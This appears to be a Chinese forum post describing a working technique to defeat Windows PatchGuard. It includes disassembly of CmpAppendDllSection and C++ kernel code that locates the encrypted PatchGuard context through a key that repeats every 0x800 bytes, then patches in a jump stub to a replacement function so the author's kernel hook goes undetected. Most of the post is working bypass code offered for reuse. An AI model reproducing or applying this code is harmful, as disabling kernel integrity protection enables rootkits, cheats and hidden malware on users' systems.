- 注册时间
 - 2021-4-16
 
- 最后登录
 - 2023-8-13
 
- 在线时间
 - 4 小时
 
 
 
 
 
编程入门 
  
	- 龙马币
 - 48 
 
 
 
 
 | 
 
 
上贴说过CmpAppendDllSection是经过双加密的,我没能力双解密出来,所以说过一种办法是绕过CmpAppendDllSection函数体,对它后面的内容进行加解密,因为它后面的内容是只进行过一次加密的,而且我们对它怎么加密的已经清楚了,所以想解密出来就要想想办法。今天早上我还想不出怎么去解密出CmpAppendDllSection函数后面的内容,但是下午就想到了,有点儿小兴奋。 
先贴出CmpAppendDllSection后面的解密代码: 
 
-  auto TempSize = FollowContextSize;    //context的尺寸
 
 -  auto FollowContextKey = ContextKey;
 
 -  //解密剩下的部分
 
 -  do {
 
 -   pTempMem[(0xC0 / sizeof(ULONG_PTR)) + TempSize] ^= FollowContextKey;
 
 -   auto RorBit = static_cast<UCHAR>(TempSize);
 
 -   FollowContextKey = ROR(FollowContextKey, RorBit, 64);
 
 -  } while (--TempSize);
 
 
  复制代码 
 
上面的解密难点在于key是每8个字节变动一次,而且通过当前key无法推到出下一次key,所以之前我就想了很久没辙。下午换了个思路,既然无法通过当前key推算出下一个key的内容,那能不能推出下下下下下......次key的内容呢?答案是能!上面的代码可以看出key每经过0x100*8个字节后,就会变回原来的key,意思就是当前的动态key和+0x800字节后面计算的动态key是一样的!发现这点后的我就立马去实验了,结果完全可行。先来看看我虚拟机的CmpAppendDllSection代码: 
 
- INIT:00000001407C4B00                                                 CmpAppendDllSection proc near           ; DATA XREF: sub_1407AAAC8+1C4Do
 
 - INIT:00000001407C4B00                                                                 db      2Eh
 
 - INIT:00000001407C4B00 2E 48 31 11                                                     xor     [rcx], rdx
 
 - INIT:00000001407C4B04 48 31 51 08                                                     xor     [rcx+8], rdx
 
 - INIT:00000001407C4B08 48 31 51 10                                                     xor     [rcx+10h], rdx
 
 - INIT:00000001407C4B0C 48 31 51 18                                                     xor     [rcx+18h], rdx
 
 - INIT:00000001407C4B10 48 31 51 20                                                     xor     [rcx+20h], rdx
 
 - INIT:00000001407C4B14 48 31 51 28                                                     xor     [rcx+28h], rdx
 
 - INIT:00000001407C4B18 48 31 51 30                                                     xor     [rcx+30h], rdx
 
 - INIT:00000001407C4B1C 48 31 51 38                                                     xor     [rcx+38h], rdx
 
 - INIT:00000001407C4B20 48 31 51 40                                                     xor     [rcx+40h], rdx
 
 - INIT:00000001407C4B24 48 31 51 48                                                     xor     [rcx+48h], rdx
 
 - INIT:00000001407C4B28 48 31 51 50                                                     xor     [rcx+50h], rdx
 
 - INIT:00000001407C4B2C 48 31 51 58                                                     xor     [rcx+58h], rdx
 
 - INIT:00000001407C4B30 48 31 51 60                                                     xor     [rcx+60h], rdx
 
 - INIT:00000001407C4B34 48 31 51 68                                                     xor     [rcx+68h], rdx
 
 - INIT:00000001407C4B38 48 31 51 70                                                     xor     [rcx+70h], rdx
 
 - INIT:00000001407C4B3C 48 31 51 78                                                     xor     [rcx+78h], rdx
 
 - INIT:00000001407C4B40 48 31 91 80 00 00 00                                            xor     [rcx+80h], rdx
 
 - INIT:00000001407C4B47 48 31 91 88 00 00 00                                            xor     [rcx+88h], rdx
 
 - INIT:00000001407C4B4E 48 31 91 90 00 00 00                                            xor     [rcx+90h], rdx
 
 - INIT:00000001407C4B55 48 31 91 98 00 00 00                                            xor     [rcx+98h], rdx
 
 - INIT:00000001407C4B5C 48 31 91 A0 00 00 00                                            xor     [rcx+0A0h], rdx
 
 - INIT:00000001407C4B63 48 31 91 A8 00 00 00                                            xor     [rcx+0A8h], rdx
 
 - INIT:00000001407C4B6A 48 31 91 B0 00 00 00                                            xor     [rcx+0B0h], rdx
 
 - INIT:00000001407C4B71 48 31 91 B8 00 00 00                                            xor     [rcx+0B8h], rdx
 
 - INIT:00000001407C4B78 48 31 91 C0 00 00 00                                            xor     [rcx+0C0h], rdx
 
 - INIT:00000001407C4B7F 31 11                                                           xor     [rcx], edx
 
 - INIT:00000001407C4B81 48 8B C2                                                        mov     rax, rdx
 
 - INIT:00000001407C4B84 48 8B D1                                                        mov     rdx, rcx
 
 - INIT:00000001407C4B87 8B 8A C4 00 00 00                                               mov     ecx, [rdx+0C4h]
 
 - INIT:00000001407C4B8D
 
 - INIT:00000001407C4B8D                                                 loc_1407C4B8D:                          ; CODE XREF: CmpAppendDllSection+98j
 
 - INIT:00000001407C4B8D 48 31 84 CA C0 00 00 00                                         xor     [rdx+rcx*8+0C0h], rax
 
 - INIT:00000001407C4B95 48 D3 C8                                                        ror     rax, cl
 
 - INIT:00000001407C4B98 E2 F3                                                           loop    loc_1407C4B8D
 
 - INIT:00000001407C4B9A 8B 82 50 05 00 00                                               mov     eax, [rdx+550h]
 
 - INIT:00000001407C4BA0 48 03 C2                                                        add     rax, rdx
 
 - INIT:00000001407C4BA3 48 83 EC 28                                                     sub     rsp, 28h
 
 - INIT:00000001407C4BA7 FF D0                                                           call    rax                                              ;我选择这个rax为我查找的内容进行解密,然后再加密回去,这样pg调用rax的时候就会被我劫持到,进而绕过它~
 
 - INIT:00000001407C4BA9 48 83 C4 28                                                     add     rsp, 28h
 
 - INIT:00000001407C4BAD 4C 8B 80 00 01 00 00                                            mov     r8, [rax+100h]
 
 - INIT:00000001407C4BB4 48 8D 88 00 05 00 00                                            lea     rcx, [rax+500h]
 
 - INIT:00000001407C4BBB BA 01 00 00 00                                                  mov     edx, 1
 
 - INIT:00000001407C4BC0 41 FF E0                                                        jmp     r8
 
 - INIT:00000001407C4BC0                                                 CmpAppendDllSection endp
 
 
  复制代码 
 
我已经知道上面地址00000001407C4BA7那里调用的rax是在ida中的哪个函数了,于是结合上面的思路就有了下面的代码: 
 
- ULONG_PTR NewExecPatchGuard(ULONG_PTR Unuse, ULONG_PTR Context)
 
 - {
 
 -  KeBugCheckEx(0x119, Context, 0, 0, 0);
 
 - }
 
 - static void AttackPatchGuard(PUCHAR StartAddress, ULONG_PTR SizeOfBytes)
 
 - {
 
 - #define PageSize 0x1000
 
 -  if (SizeOfBytes < PageSize)
 
 -  {
 
 -   return ;
 
 -  }
 
 -  for (auto i = 0;i < SizeOfBytes;i++)
 
 -  {
 
 -   //下面攻击密文pg
 
 -   if ((i + 0x800 + 0x10) < SizeOfBytes)
 
 -   {
 
 -    auto TempKey1 = *(ULONG_PTR*)(StartAddress + i) ^ 0x4808588948c48b48;
 
 -    auto TempKey2 = *(ULONG_PTR*)(StartAddress + i + 0x8) ^ 0x5518788948107089;
 
 -    if ((*(ULONG_PTR*)(StartAddress + i + 0x800) ^ 0x8948f60344028b48) == TempKey1 &&
 
 -     (*(ULONG_PTR*)(StartAddress + i + 0x800 + 0x8) ^ 0xc1834808c2834801) == TempKey2)
 
 -    {
 
 -     LOG_DEBUG("ExecPatchGuard address:%p    TempKey1:%p    TempKey2:%p\n", StartAddress + i, TempKey1, TempKey2);
 
 -     UCHAR Code[0x10] = {0};
 
 -     memcpy(Code,"\x48\xB8\x21\x43\x65\x87\x78\x56\x34\x12\xFF\xE0\x90\x90\x90\x90",0x10);
 
 -     *(ULONG_PTR*)(Code + 0x2) = (ULONG_PTR)NewExecPatchGuard;
 
 -     *(ULONG_PTR*)(StartAddress + i) = *(ULONG_PTR*)Code ^ TempKey1;
 
 -     *(ULONG_PTR*)(StartAddress + i + 0x8) = *(ULONG_PTR*)(Code + 0x8) ^ TempKey2;
 
 -    }
 
 -   }
 
 -  }
 
 - }
 
 
  复制代码 
 
我故意在我接管的函数里面制造了一个蓝屏,果然蓝屏了(我实际应该弄个打印....)。 
然后改了NewExecPatchGuard为下面的代码: 
 
- ULONG_PTR NewExecPatchGuard(ULONG_PTR Unuse, ULONG_PTR Context)
 
 - {
 
 -  *(ULONG_PTR*)(Context + 0x100) = (ULONG_PTR)NewExQueueWorkItem;
 
 -  return Context;
 
 - }
 
 
  复制代码 
 
并且我的代码中设置了一个hook,静静的等了40多分钟没毛病,思路果然是没问题的,窃喜~ 
 
这是我用最少的代码干掉pg的,而且真的感觉炒鸡简单~ 不过有个问题是,这个每个版本硬编码可能不一样,要多采集点儿才行。 
 |   
 
 
 
 |